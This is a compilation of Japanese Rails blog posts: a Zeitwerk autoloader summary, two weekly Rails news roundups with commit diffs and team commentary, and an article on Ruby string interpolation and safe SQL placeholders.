階層ツリーの葉(leaf)をプリロードすることで、以後のスーパークラスに至るすべての階層のオートロードがカバーされるようになります。

上述のファイルは起動時にも、再読み込みのたびにもプリロードされます。

Rails.autoloaders

ZeitwerkモードではRails.autoloadersがenumerableになり、mainonceという2つのZeitwekインスタンスを含みます。mainはアプリの制御用であり、onceはgemとして読み込まれるエンジンや、config.autoload_once_pathsで読み込まれるあらゆる未知のコード(これについては今後対応をやめるかも?)の制御用です。Railsはmainを再読み込みしますが、onceはオートロードとeager loading専用につき再読み込みされません。

2つのインスタンスには以下のように個別にアクセスできます。

Rails.autoloaders.main
Rails.autoloaders.once

しかしRails.autoloadersがenumerableなのですから、このような直接アクセスが必要になるユースケースはそれほどないでしょう。

オートローダーの挙動のinspect

オートローダーが動いていることを確認したい場合は、config/application.rbでフレームワークのデフォルト設定が読み込まれた後の行に以下を書きます。

Rails.autoloaders.logger = method(:puts)

callableの他に、Rails.autoloaders.logger=を使って「引数1つ」でデバッグに応答するもの(通常のロガーと同様)を指定することもできます。

Zeitwerkの挙動をメモリ上の全インスタンス(Rails自身や、gemを制御する可能性のあるもの)について確認したい場合は、config/application.rbBundle.requireより前の行に以下を設定します。

Zeitwerk::Loader.default_logger = method(:puts)

後方非互換性について

  • 標準のconcernsディレクトリ(app/models/concernsなど)に置かれたファイルでは、Concernsを名前空間化できません。つまり、app/models/concerns/geolocatable.rbで定義されるのはConcerns::GeolocatableではなくGeolocatableであることが期待されます。
  • アプリがいったん起動すると、オートロードパスはフリーズされます。

  • ActiveSupport::Dependencies.autoload_pathsで指定されたディレクトリが起動時に存在しない場合は無視されます。ここで参照されるのはarrayの実際の要素のみであり、それらのサブディレクトリについては参照されません。起動時にオートロードパスに新しいサブディレクトリが存在する場合は通常どおり問題なくチェックされます(今後変更の可能性あり)。

  • 名前空間として振る舞うクラスやモジュールを定義しているファイルでは、それらのクラスやモジュールをそれぞれclassキーワードやmoduleキーワードで定義する必要があります。たとえば、app/models/hotel.rbファイルでHotelクラスを定義し、app/models/hotel/pricing.rbでホテルのmixinを定義しているのであれば、Hotelクラスをclassキーワードで定義しなければなりません。また、Hotel = Class.new { ... }Hotel = Struct.new { ... }といった書き方もできません。なお、名前空間として振る舞わないクラスやモジュールであれば従来のイディオムでも問題ありません。

  • ひとつのファイルでは、その名前空間に定義する定数を1つに限定すべきです(その内側には定数を複数定義できます)。つまり、app/models/foo.rbFooの他にBarも定義されている場合、Barは再読み込みされません。ただしFooが再読み込みされるとBarが再度開かれます。いずれにしろこの動作はclassicモードでは非常に残念なものですが、ファイル名と同じメインの定数を1つ使うというのがコーディング慣習です。その下に定数を複数置くことはできるので、Fooでは補助的な内部クラスFoo::Wooを定義してもよいのです。

関連記事

Rails: STI(Single Table Inheritance)でハマったところ

週刊Railsウォッチ(20190304-1/2:前編)Rails 6.0.0 beta2リリース、Ruby 2.7の新しい記法、各種自動レビューツール、ULIDとはほか

$
0
0

こんにちは、hachi8833です。Railsウォッチ制作がそろそろ本気で身が持たないので、今回からウォッチを分割公開することにしました。今回は前編となります。引き続きよろしくお願いします🙇

しかしそう決めた途端、何とつっつきの録画に失敗してしまいました…😇。可能な限り記憶を元に再現します🙏

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

⚓週刊Railsウォッチ「公開つっつき会#8」開催のお知らせ

次回は今週の3/7(木)開催です。参加枠は余裕あります。鍋でもつっつくようなお気軽なご参加をお待ちしております🙇

⚓臨時ニュース: Railsガイドが5.2に対応

半年以上前から更新翻訳をすすめていましたが、このたびリリースいただきました🙇。次の目標はRails 6ですね。

⚓Rails: 先週の改修(Rails公式ニュースより)

⚓Rails 6.0.0 beta2リリース


rubyonrails.orgより


つっつきボイス:「出ましたね🎉」「来たか(すっく)」「予定では「February 1: Beta 2.」「March 1: Release Candidate 1」なのでまずまずですね☺

⚓beta2のZeitwerk情報

Rails 6 Beta2時点のZeitwerk情報(要訳)


つっつきボイス:「先行して上の要訳記事を出しました↑」「社内でもオートローダーの話からモジュール/クラスを入れ子にしたときの名前空間の話になったりしましたね」

このときrequire_dependencyについてもSlackで話題になったのですが、私がまだまとめきれないのでウォッチ20181022をどうぞ。

参考: 7 require_dependency — 定数の自動読み込みと再読み込み - Rails ガイド

その後autovivifiedの話題になりました。

参考: fxn/zeitwerk: Efficient and thread-safe code loader for Ruby — implicit namespaces
参考: Autovivification - Wikipedia

Perlにおけるautovivificationとは、未定義の値が参照解決(dereference)されるたびに新しいarrayやhashを自動生成すること。
Wikipediaより大意

参考: autovivificationとうまく付き合う - Qiita

以下のように、素のRubyのirbでMyNameを定義してない状態からいきなりMyName::MyModelクラスを定義すると1行目でいきなりエラーになることもわかりました。

class MyName::MyModel #=> `<main>’: uninitialized constant MyName (NameError)
  def hello
    'hello world'
  end
end

puts MyName::MyModel.new.hello

なお、Railsでもコンソールで定数Fooが未定義のままFoo::Barclassで定義するのはさすがに無理でした。

アウターボイス:「忘れがちだけど、クラスの継承関係と名前空間はまったく別物なのよね😎」「あー言われてみれば🤭

参考: Railsでモデルクラスの名前をネームスペースとして流用してはいけません(warning: toplevel constantが発生します) - Qiita

⚓generated_relation_methodsをリファクタリング

# activerecord/lib/active_record/relation/delegation.rb#L3
+require "mutex_m"
+
module ActiveRecord
  module Delegation # :nodoc:
    module DelegateCache # :nodoc:
...
      def inherited(child_class)
        child_class.initialize_relation_delegate_cache
        super
      end

+     def generate_relation_method(method)
+       generated_relation_methods.generate_method(method)
+     end
+
...
      private
        def generated_relation_methods
-         @generated_relation_methods ||= Module.new.tap do |mod|
-           mod_name = "GeneratedRelationMethods"
-           const_set mod_name, mod
-           private_constant mod_name
-         end
+         @generated_relation_methods ||= GeneratedRelationMethods.new
        end
+   end
+
+   class GeneratedRelationMethods < Module # :nodoc:
+     include Mutex_m
+
+     def generate_method(method)
+       synchronize do
+         return if method_defined?(method)

-       def generate_relation_method(method)
          if /\A[a-zA-Z_]\w*[!?]?\z/.match?(method)
-           generated_relation_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1
+           module_eval <<-RUBY, __FILE__, __LINE__ + 1
              def #{method}(*args, &block)
                scoping { klass.#{method}(*args, &block) }
              end
            RUBY
          else
            generated_relation_methods.define_method(method) do |*args, &block|
            define_method(method) do |*args, &block|
              scoping { klass.public_send(method, *args, &block) }
            end
          end
        end
      end
    end
    private_constant :GeneratedRelationMethods

つっつきボイス:「コードのかぶりをなくすリファクタリング」「require "mutex_m"なんてのを使ってますね」「排他制御が必要になるからですね☺

参考: module Mutex_m (Ruby 2.6.0)

「そういえばmutexってmutual exclusionの略だった覚えが: 相互排他というか」「マジで😆: ずうっとミューテックスはミューテックスだと思ってたし」

mutexとくればセマフォもよく登場しますね。遠い昔、職場で日本語ペラペラの米国人エンジニアがクライアント/サーバー通信の文脈で「セマフォ」という言葉を使ったときに思わず「それ何ですか?」と聞き返してしまったのを思い出しました。「まあ信号機みたいな」と説明されましたが、ネットのない時代につき本を買うまで結局よくわからずじまいでした😅

参考: セマフォ - Wikipedia

語源となった本物のセマフォ↓です。

これまたついでに、昔の単線鉄道では、列車の衝突を回避するために「タブレット」というものを一種のトークンのように使っていたんだそうです。タブレットを所有している列車のみがその区間を通過できるというルールで、受け渡しのときに落っことすこともちょくちょくあったとか。コンピュータがない時代の苦肉の策的な排他制御というか。

参考: タブレットとは - はてなキーワード
参考: トークン - Wikipedia
参考: トークンリング - Wikipedia — ほぼ消えましたね😇

もっとも鉄道のトークンにもいろんな意味があったりして、イギリスやニューヨークあたりの地下鉄のチケットもそう呼ばれてたと思います。

⚓テンプレートレンダリングの改良

このコミットではテンプレートオブジェクトのビルド時にlocalsを渡し、次にテンプレートオブジェクト側でlocals=ミューテーターメソッドを削除するようにした。意図としては、decorateメソッドでlocalsを用いてテンプレートオブジェクトを改変して欲しくないということである。
#35408#35406と同様。
同PRより大意

# actionview/lib/action_view/template/resolver.rb#L203
    private

-     def find_templates(name, prefix, partial, details, outside_app_allowed = false)
+     def find_templates(name, prefix, partial, details, outside_app_allowed = false, locals)
        path = Path.build(name, prefix, partial)
-       query(path, details, details[:formats], outside_app_allowed)
+       query(path, details, details[:formats], outside_app_allowed, locals)
      end

つっつきボイス:「テンプレート周りでlocalsを渡すようになったのね」「地の文でlocalsって書いてあると割と何だかわからない😅

# actionview/test/template/template_test.rb#L
  def test_refresh_with_partials124
-   @template = new_template("Hello", virtual_path: "test/_foo")
-   @template.locals = [:key]
+   @template = new_template("Hello", virtual_path: "test/_foo", locals: [:key])
    assert_called_with(@context.lookup_context, :find_template, ["foo", %w(test), true, [:key]], returns: "partial") do
      assert_equal "partial", @template.refresh(@context)
    end
  end

⚓STIのサブクラスでfind_byをキャッシュしないようにした

> STIのサブクラスでfind_byをキャッシュするのは、type IN (?,?,?,?)の部分が動的であるため安全ではない。なお、STIサブクラスが作成または削除されるときにSQLステートメントのキャッシュを無効にすることまでは当面行わない。

同コミットより大意

フィードバックありがとうございます!😂

# activerecord/lib/active_record/core.rb#L184
      def find_by(*args) # :nodoc:
-       return super if scope_attributes? || reflect_on_all_aggregations.any?
+       return super if scope_attributes? || reflect_on_all_aggregations.any? ||
+                       columns_hash.key?(inheritance_column) && !base_class?

        hash = args.first

        return super if !(Hash === hash) || hash.values.any? { |v|
          StatementCache.unsupported_value?(v)
        }
        # We can't cache Post.find_by(author: david) ...yet
        return super unless hash.keys.all? { |k| columns_hash.has_key?(k.to_s) }
        keys = hash.keys
        statement = cached_find_by_statement(keys) { |params|
          wheres = keys.each_with_object({}) { |param, o|
            o[param] = params.bind
          }
          where(wheres).limit(1)
        }
        begin
          statement.execute(hash.values, connection)&.first
        rescue TypeError
          raise ActiveRecord::StatementInvalid
        end
      end

⚓Rails

⚓自動レビューツールいろいろ


prontolabs/prontoより


gitcolony.comより


haya14busa/reviewdogより


reviewable.ioより


codeclimate.comより


つっつきボイス:「前回のウォッチでVelocityやGitPrimeやSiderの話から自動レビューツールの話になったのと(ウォッチ20190225)、その後チームミーティングでも自動レビューツールが検討され始めたので取り急ぎ集めてみました」「お、ちょうどいいタイミングですね👌🏽」「prontoやreviewdogはどことなく手作り感あって暖かみありそう🥘」「reviewdogのシンボルマークがいらすとやさんにしか見えない件😆」「エッジのざらつき感がそこはかとなくそれっぽいし😆」「Siderよさげだったんで軽く問い合わせてみたんだけどGitLabへの対応予定は今のところないんですって😭」「BPSはGitHubも使ってるけどGitLabがメインですしね」「さてどれにしようかな🤔


sider.reviewより

⚓Rails 6でenum値用の負のスコープを持つメソッドが追加(RubyFlowより)

# 同記事より
# アクティブでない全デバイスの取り方
# 従来の書き方
Device.where.not(status: :active)
# 今後はこう書ける
Device.not_active

# 止められていないすべてのデバイス
# 従来の書き方
Device.where.not(status: :disabled)
# 今後はこう書ける
Device.not_disabled

つっつきボイス:「enumのスコープがネガティブというのがよくわからなくて😅」「enumで上のようにwhere.not(status: :active)と書く代わりにnot_なんちゃらで書けるということですね☺

その後公式情報にも出ました↓。

参考: reselect, negative enum scopes and more! | Riding Rails

⚓この頃流行りのULIDとは

以下のツイートで知りました。


つっつきボイス:「ユニバーサリーユニークレキシコグラフィカリィソータブルアイデンティファイアー」「長っ🐍」「ソートできるUUIDっていいですね😋」「↓こんな感じのUUIDになって、しかも大文字小文字も区別しないし記号も使わないからURLに使っても安心ということみたいです」「いいじゃないの~🥰」「リポジトリは仕様しか載ってませんが、既にいろんな言語で続々実装されてるみたいです」

ulid() // 01ARZ3NDEKTSV4RRFFQ69G5FAV

「タイムスタンプとランダムでビットが分かれてるのね」

  01AN4Z07BY      79KA1307SR9X4MV3

 |----------|    |----------------|
  Timestamp          Randomness
   48bits             80bits

「お〜、IとかLとかOとかUみたいな見た目に紛らわしい文字を排除してるのはとてもいい👍「Webサービスのパスワードなんかもシリアルコード(ソシャゲの事前登録とか)なんかもこの点に配慮しておくと問い合わせがぐっと減りますし😋

以下のようにCrockfordのBase32を用いる。I、L、O、Uのような紛らわしい文字や乱用される可能性のある文字を排除する。
0123456789ABCDEFGHJKMNPQRSTVWXYZ <= この文字だけを使う

参考: Base32 Encoding — Douglas Crockford

Crockford氏のサイトを見ると、IやLやOがいろいろ紛らわしいのはわかるのですが、UはVと紛らわしいのかなと思いきや、accidental obscenity(はずみで下品な意味になる)という説明が気になりました。おそらくf●ckとかs●ckみたいな語を偶然含むULIDが生成されるということだと思うのですが。


crockford.comより

以下の記事でも「そんなの組み合わせ次第でいくらでも下品になるから無理じゃない?」という見解がありますね。

参考: Base36 accidental obscenity - Treating PHP Delusions
参考: Online PHP editor | output for Kc5gN — U使ってない下品な例

⚓rack-queries: プレビルドされたクエリを高速実行(RubyFlowより)


同リポジトリより


つっつきボイス:「クエリを事前に作っておいてRackで高速実行するとかそんな感じみたいです」「ルーティングみたいなRailsアプリを経由しないから速そうではある🤔

使い道についてもいろいろ話が出たのですが思い出せません🙇

追いかけボイス:「rack-queriesのときに話したのは、アプリケーションメトリクス的なものを吐き出させるときに便利じゃないかな?って話でしたね:
単体SQLで数だけ返すようなURL作ってDatadogとかCloudWatchみたいなのに食わせて眺める的な」

🙇

⚓その他Rails


⚓Ruby

⚓Ruby 2.7で新記法.:が追加

# 同記事より
 # Math.sqrtで数値の平方根を求める

 [1, 4, 9].map(&Math.method(:sqrt))
 # =>  [1.0, 2.0, 3.0]

# 新記法だとこうなる
 [1, 4, 9].map(&Math.:(:sqrt))
 # => [1.0, 2.0, 3.0]

つっつきボイス:「ちょっとわかりにくいですが新記法だそうです」「あ、.:で短く書けるってことか!😳」「見慣れてないせいかもしれないけどちょいキモい😅」「これが欲しいのわかる気がする: method(:シンボル)みたいな書き方って、冗長なのもそうだけど、自分たちエンジニアからすると目がついついmethodの方に行ってしまって割と紛らわしいのよね🤢」「あーなるほど!」「本当にやりたいことにフォーカスするという意味では.:は面白い😋

⚓CRubyでRTL(Register Transfer Language)(Ruby Weeklyより)

# 同記事より
      getlocal_OP__WC__0 <b index>
      getlocal_OP__WC__0 <c index>
      opt_plus
      setlocal_OP__WC__0 <a index>

つっつきボイス:「RTLってそもそも何だっけのレベルです👶」「RTLはRubyのVM(Virtual Machine)で使われるインストラクションですね」「あ、そういうことか!」「この間も、RubyではVMインストラクションに直結する書き方は速いみたいな話ありましたね」

参考: RubyでRubyVMを実装してRubyVMの気持ちになってみる - Qiita


http://twitter.com/tad/status/1102776048687624192

フィードバックありがとうございます。至らない点は今後改善いたします🙇

⚓その他Ruby

  • 元記事: Rubyhack — ソルトレークシティで開催だそうです(Ruby Weeklyより)


rubyhack.comより


つっつきボイス:「Rubyhackの直後ってそんなに間あかずにRubyKaigi 2019じゃないですか!」「Matzの仕事は旅から旅が多い🛤」「忙しそう…💼


rubykaigi.orgより




前編は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190212)EnvoyとIstioに大注目、SQLQLとは、buildkite.comのCI、さよならItanium、PWA vs Androidほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Rubyの式展開(string interpolation)についてまとめ: `#{}`、`%`、Railsの`?`

$
0
0

1. 一般的な「string interpolation」とは

まずは一般的な話から。プログラミング言語で文字列を出力するときに、文字列の一部を変数の値や式の評価結果に差し替えたいことが非常によくあります。

"信号: 赤"
"信号: 黄"
"信号: 青"

上の文字列リテラル(" "で囲まれている部分)のうち、「赤」「黄」「青」を何らかの方法で変数から送り込んで差し替える操作を一般にstring interpolationと呼びます。

"信号: ●"      # ←この●を「赤」「黄」「青」に差し替えたい

3つの文字列リテラルを使い分けるより、●を「赤」「黄」「青」だけ差し替える方が楽ですし、文字列リテラルが無駄に長くならずに済みます。

なお、次のような文字結合によるベタなやり方は、結果は同じでもstring interpolationとは呼ばれないようです。

●  = "赤"        # 「赤」「黄」「青」のいずれかが入る

"信号: " + ●    #=> "信号: 赤" など

上はいずれも説明用の擬似言語であり、特定の言語ではありません。

他の言語でのstring interpolation

string interpolationは言語によってさまざまな構文があり、1つの言語に複数の構文があることもあります。置き換えの場所は「プレースホルダ(placeholder)」とも呼ばれます。

string interpolationは他の言語では多くの場合「文字列補間」という訳語が使われていますが、Rubyでは「式展開」と訳されるのが普通です。

参考: 文字列補間 - Wikipedia

他の言語では、以下もstring interpolationとだいたい同じ意味で使われます。

  • 変数置換: variable interpolation
  • 変数補間: variable substitution
  • 変数置換: variable expansion

本記事では以後「式展開」で統一します。

Rubyの式展開とは

参考: 式展開 — リテラル (Ruby 2.6.0)

Rubyで文字列の式展開というと以下のような形で説明されることがよくあります。二重引用符" "の中に#{ }と変数を記述すると変数の値が展開されます。なお、式展開が効くのは二重引用符の中だけであり、一重引用符' 'の中では式展開は無効です。

year = "2019"
puts "Year: #{year}"
#=> Year: 2019

#{ }の中にはRubyのどんな式でもそのまま書けます(引用符も書けます)。以下のようにリテラルも書こうと思えば書けますが、この形ではリテラルにする意味はないと思います。

puts "Year: #{'The last year of Heisei'}"
#=> Year: The last year of Heisei

Rubyの#{ }では#to_sが自動的に効く」という重要な特性があります。このおかげで、#{ }の中にどんな式を置いても文字列に変換されます。詳しくは以下をご覧ください。

Rubyでの文字列連結に「#+」ではなく式展開「#{}」を使うべき理由

式展開のバリエーション(1)

あまり使わないと思いますが、式展開#{}の中に#でコメントを書くこともできます。ただしその#から行末の改行までがすべてコメントとみなされるため、式展開の閉じ}"次の行に書く必要があります

puts "Year: #{year # 平成最後の年
}"
#=> Year: 2019

式展開のバリエーション(2)

これもあまり使わないと思いますが、式展開に入れる変数が$で始まる変数(グローバル変数)や@で始まる変数(インスタンス変数やクラス変数)の場合、#{}{}省略できます。

@year=2019
puts "Year: #@year"
#=> Year: 2019

式展開のバリエーション(3)

式展開#{}の前にバックスラッシュ\を置くと、式展開を抑制できます。

puts "Enter the \#{year}"
#=> Enter the #{year}

式展開のバリエーション(4)– %を使う場合

%記号を用いて、式展開と書式設定を一度に行うこともできます。

puts "Year: %{year}" % { year: 2019 }
#=> Year: 2019

%記号について詳しくは以下の記事をご覧ください。

Ruby: パーセント記号 `%` の使い方まとめ

参考: Rubyスタイルガイドでの引用符の使い分け

上述のとおり、Rubyでは二重引用符" "の中で式展開が効き、一重引用符' 'の中では効きません。

RubocopのRubyスタイルガイド↓では、二重引用符と一重引用符をスタイル上使い分ける際にこの点も意識するとよいでしょう。

Rubyスタイルガイドを読む: 数値、文字列、日時(日付・時刻・時間)

Railsで生SQLを書くときの?による式展開

SQLを生書きするときに使える疑問符?による式展開(プレースホルダ)はRubyではなく、Railsがサポートしている機能です。Railsでは?ですが、プレースホルダの書式はWebフレームワークやRDBMSによって異なることがあります。

RailsのActive Recordでは、以下のように生SQLの中で変数を渡す箇所に?を置き、カンマに続けて変数を書くことで、?の部分に変数(この場合params[:name])が展開されます。このとき変数の内容が適切にサニタイズ(sanitize: 機能を持つ文字や式を安全のためにエスケープすること)されます。

Person.where('name = ? AND hidden_at IS NULL', params[:name])

ユーザーから受け取った文字列を変数として生SQLを書く場合、変数のサニタイズは必須です。さもないとSQLインジェクションという危険な脆弱性の原因となります(参考↓)。

Rails: ActiveRecord::Relationで生SQLは避けよう(翻訳)

RailsのActive Recordにはsanitize_sql_arrayをはじめとするsanitize_sql_*系メソッドがあります。生SQLを書く場合、特に変数を複数使う場合は、ぜひこれを使うべきです。

Railsのmigrationで生SQLを使う+パラメータを使う

参考: ActiveRecord::Sanitization::ClassMethods

sanitize_sql_*系メソッドは以前はprivateメソッドでしたが、Rails 5.2からはpublicになったので気兼ねなく使えます↓。


週刊Railsウォッチ(20190311-1/2前編)「Rails Conductor」14年ぶり復活なるか?、RubyGemsに複数の脆弱性、2009年のRailsエコシステムほか

$
0
0

こんにちは、hachi8833です。

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを社内有志で(鍋のように)つっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

⚓3/7(木)の公開つっつき会

3/7(木)の公開つっつき会にお集まりいただいた皆さま、ありがとうございます!🙇

通常は週刊Railsウォッチに収録されている会話(つっつきボイス)を匿名化していますが、今回はRailsチュートリアルRailsガイドCoderDojo Japanの運営、2019年度未踏ジュニアのPMなど多方面で活躍中のYassLab株式会社の安川要平さん(@yasulab、下写真右)が初参加され、顔出し/名前出しを快諾いただきましたので、安川さんのみ例外的に一部で顔出し/名前出ししております。


yasslab.jpより

今回はいつもより変則的な流れで充実した公開つっつきだったにもかかわらず、今回も録画に失敗してしまいました🙇🙇。誤りがありましたら@hachi8833までお知らせください。

⚓臨時ニュース: RubyGemsに複数の脆弱性(Ruby公式ニュースより)

以下のバージョンが影響を受けるそうです。

  • Ruby 2.4(2.4.5以前)
  • Ruby 2.5(2.5.3以前)
  • Ruby 2.6(2.6.1以前)
  • trunk 67168以前

回避方法として、以下を実行して最新のRubyGems(2.7.9/3.0.3またはそれ以降)にアップグレードする方法が説明されていました。

gem update --system

つっつきボイス:「おっと来ましたね」「自分はこの間教えてもらったrbenv-each↓使ってRubyGemsの全バージョンのアップグレードを速攻で完了させましたよ😎」「えっそんないいものあったんですか!😂

後日、rbenv-eachをインストール後rbenv each gem update --systemを実行すると続々とRubyGemsが2.7.9または3.0.3にアップグレードされました。2.3より古いRubyでは物がなくてインストールできなかったりしましたがそれはOKということで。

私のローカル環境ではRuby 2.0以降が全部rbenvに入っているのでとっても助かりました🙏。後日以下のツイートを見つけました。jnchitoさんもrbenv-eachお使いなんですね。

⚓特集: Rails Conductorとは?

つっつきボイス:(つっつきの途中で)「ところで今回のウォッチでRails Conductorって取り上げます?」「え、何ですかそれ??😳」「何それ??😳」「koicさんやa_matsudaさんが昨日こんなツイートしてたんですよ↓😎

「ウォッチではマージされたコミットじゃないと取り上げないとか?」「いえいえ、キリがないので基本的にマージされたものから見繕ってます」「このプルリク、確かにまだオープンですね」「それにしてもConductorって…?」

というわけで急遽Rails Conductorの話題です。

Railsそのものの開発に使えるWebインターフェイスの構築、これはRailsというフレームワークをリリースする前からずっと夢だった。このアイデアはメイラーのプレビューなどでも頭をよぎったのだけど、Rails 6でAction Mailboxによる受信メール処理も加わったことだし、構想ががっつり固まるのを待つよりも、今あるものでとにかくやってみようと思った次第。
同PRより大意(強調は編集部)

「何でも構想14年とかで、ツイートによるとRailsのweb-consoleがその成果のひとつだったと」「へぇ〜!😳Railsのエラー時に表示されたりする、あの赤っぽいページ↓ですよね」「昨年Rails 6に追加されたAction Text(ウォッチ20181009)でしたっけ、あれももしかしたらこのRails Conductorの布石のひとつだったんじゃないかなってこっそり想像したり☺」「Action TextはBasecampのTRIXを元にしたリッチテキスト表示のライブラリだから直接は関係なさそうかなという気もちょっとしますが😆

「何というか『〜to build a web interface for developing Rails itself』ってがありますよね🤩」「わかる!これでIDEも付いてきちゃうみたいな😍」「DHHの文章は名調子というか、コミュニティを盛り上げるタイミングとかが実にうまい😋」「いい意味で燃料を投下するというか」

なお、#35489のコメントでは「『a web interface for developing Rails itself』はちょっと紛らわしいかな:『Railsアプリの開発やメンテに役立つさまざまなツール向けのWebインターフェイス』ぐらいの方がよさげだけど、とにかく素敵なアイデアだね!」とありました。


同PRコメントより

ツイートの続き↓。

その後にもいろいろ計画があります。Conductorなどがそうですね。ただ、”彼”についてはもうしばらく秘密にしておこうと思います。
同記事より

「ところでconductorってこの場合きっと車掌(railway conductor)になぞらえて命名したんじゃないかなと思いました」「あ〜そうかも」「Railsだし鉄道絡みのネーミングも今までいろいろあったし🛤」「Journey(ルーティング関連)とかRailtie(犬釘)とか」「conductorって音楽の『指揮者』って意味もありますよね」「ですです」「電気方面だと『導体』だったりするし」「意味多すぎ😆

後で調べると、conductorが車掌を指すのは主に米国英語のようです。そういえばツアコン(tour conductor)なんてのもありますね。

「ところで、このconductorっていう名前の別のgemが既にあったそうなんですが、これが以下のような流れになったんですよ😆」「DHHがちゃっかりconductorのオーナーに追加😆」「何という世界線🌍」「つか発見したの安川さんだし😆」「☺

鉄道唱歌の「電車ごっこ」を埋めようかと思いましたがあまりにベタなのでリンクを貼るだけにしました。

⚓Rails: 先週の改修(Rails公式ニュースより)

公式更新情報コミットログの両方からです。

⚓reselectメソッドが追加

reselectunscope(:select).select(fields)と同等だそうです。

# activerecord/lib/active_record/relation/query_methods.rb#L252
+   # selectステートメント全体がunscopeされることに注意
+   def reselect(*args)
+     check_if_method_has_arguments!(:reselect, args)
+     spawn.reselect!(*args)
+   end
+
+   # #reselectと同じだがコピーではなくリレーションに対して操作する
+   def reselect!(*args) # :nodoc:
+     self.select_values = args
+     self
+   end

rewherereorderというメソッドがあるのを今頃知りました。


つっつきボイス:「社内Slackでも話題になりましたね↓」「re*系のメソッドってunscopeの副作用に気をつけないとハマりそう」

unscopeで以下の記事を思い出しました↓。

Railsのdefault_scopeは使うな、絶対(翻訳)

⚓#selectDISTINCTsizeを取るとcountが誤っていたのを修正

# activerecord/lib/active_record/relation/calculations.rb#L228
      def perform_calculation(operation, column_name)
        operation = operation.to_s.downcase
        # If #count is used with #distinct (i.e. `relation.distinct.count`) it is
        # considered distinct.
        distinct = distinct_value
        if operation == "count"
          column_name ||= select_for_count
          if column_name == :all
-           if distinct && (group_values.any? || select_values.empty? && order_values.empty?)
+           if !distinct
+             distinct = distinct_select?(select_for_count) if group_values.empty?
+           elsif group_values.any? || select_values.empty? && order_values.empty?
              column_name = primary_key
            end
-         elsif column_name.is_a?(::String) && /\bDISTINCT[\s(]/i.match?(column_name)
+         elsif distinct_select?(column_name)
            distinct = nil
          end
        end

        if group_values.any?
          execute_grouped_calculation(operation, column_name, distinct)
        else
          execute_simple_calculation(operation, column_name, distinct)
        end
      end

+     def distinct_select?(column_name)
+       column_name.is_a?(::String) && /\bDISTINCT[\s(]/i.match?(column_name)
+     end

つっつきボイス:「おーバグだし🐛」「ちょうど今日のBPS社内勉強会でも触れたんですが、Railsには『まだこんなバグ残ってたの?』みたいなバグが見つかることがあって、kamipoさんたちがActive Record周りを熱心に修正してくれてしますよね」「そうでしたね」

「中にはアプリケーションバグにつながるようなものもあったりするので、Railsの挙動を信じすぎずに実データに近いデータシナリオでテストをきちんと行うべきだと考えます」「たしかに〜」「ポジティブなテストだけだと見落とす可能性もありますので」

「Railsウォッチやy_yagiさんのブログ↓を日頃からチェックして、Railsでこういうバグが出ていたなという脳内インデックスを作っておくと後々身を助けると思います😹

参考: なるようになるブログ

⚓has_oneで_blob関連付けが正しく読み込まれなかったのを修正

# activestorage/lib/active_storage/attached/changes/create_one.rb#L31
    def save
      record.public_send("#{name}_attachment=", attachment)
+     record.public_send("#{name}_blob=", blob)
    end
# 同PRより
class User < ActiveRecord::Base
  has_one_attached :avatar
  has_many_attached :highlights
end

user.avatar.attach(blob)
user.avatar_attachment.present?  => true
user.avatar_blob.present?        => false    # 誤り

つっつきボイス:「これはActive Storageの修正?」「あ、そうですね: attachmentは添付ファイルでしたか😅

参考: Active Storage の概要 - Rails ガイド

⚓nil関連修正2つ

# actionview/test/template/testing/fixture_resolver_test.rb#L5
class FixtureResolverTest < ActiveSupport::TestCase
  def test_should_return_empty_list_for_unknown_path
    resolver = ActionView::FixtureResolver.new()
    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: [], handlers: [])
    assert_equal [], templates, "expected an empty list of templates"
  end
  def test_should_return_template_for_declared_path
    resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
    templates = resolver.find_all("path", "arbitrary", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
    assert_equal 1, templates.size, "expected one template"
    assert_equal "this text",      templates.first.source
    assert_equal "arbitrary/path", templates.first.virtual_path
-   assert_equal :html,            templates.first.format
+   assert_nil templates.first.format
  end
end
# activerecord/test/models/developer.rb#L103
class MultiplePoorDeveloperCalledJamis < ActiveRecord::Base
  self.table_name = "developers"

+ default_scope { }
  default_scope -> { where(name: "Jamis") }
  default_scope -> { where(salary: 50000) }
end

つっつきボイス:「対象は違いますが2つともnilを使えるようにする改修だったので」「2つ目はdefault.rbの改修箇所が貼ってあるけど、テストコードを貼る方がわかりやすいかも?」「そうでした😅更新しておきます(済)」

⚓findメソッドのSQLキャッシュをベースクラスでも有効にした

# activerecord/test/cases/bind_parameter_test.rb#L57
+     def test_statement_cache_with_find
+       @connection.clear_cache!
+
+       assert_equal 1, Topic.find(1).id
+       assert_raises(RecordNotFound) { SillyReply.find(2) }
+
+       topic_sql = cached_statement(Topic, Topic.primary_key)
+       assert_includes statement_cache, to_sql_key(topic_sql)
+
+       e = assert_raise { cached_statement(SillyReply, SillyReply.primary_key) }
+       assert_equal "SillyReply has no cached statement by \"id\"", e.message
+
+       replies = SillyReply.where(id: 2).limit(1)
+       assert_includes statement_cache, to_sql_key(replies.arel)
+     end

つっつきボイス:「#35431は、前回のウォッチの「STIのサブクラスでfind_byをキャッシュしないようにした」(ウォッチ20190304)と関連してるようです」

⚓番外: #31221の変更を5.2リリースノートに追記

# guides/source/5_2_release_notes.md#L618
+ *   Idle database connections (previously just orphaned connections) are now
+   periodically reaped by the connection pool reaper.
+   ([Commit](https://github.com/rails/rails/pull/31221/commits/9027fafff6da932e6e64ddb828665f4b01fc8902))
+

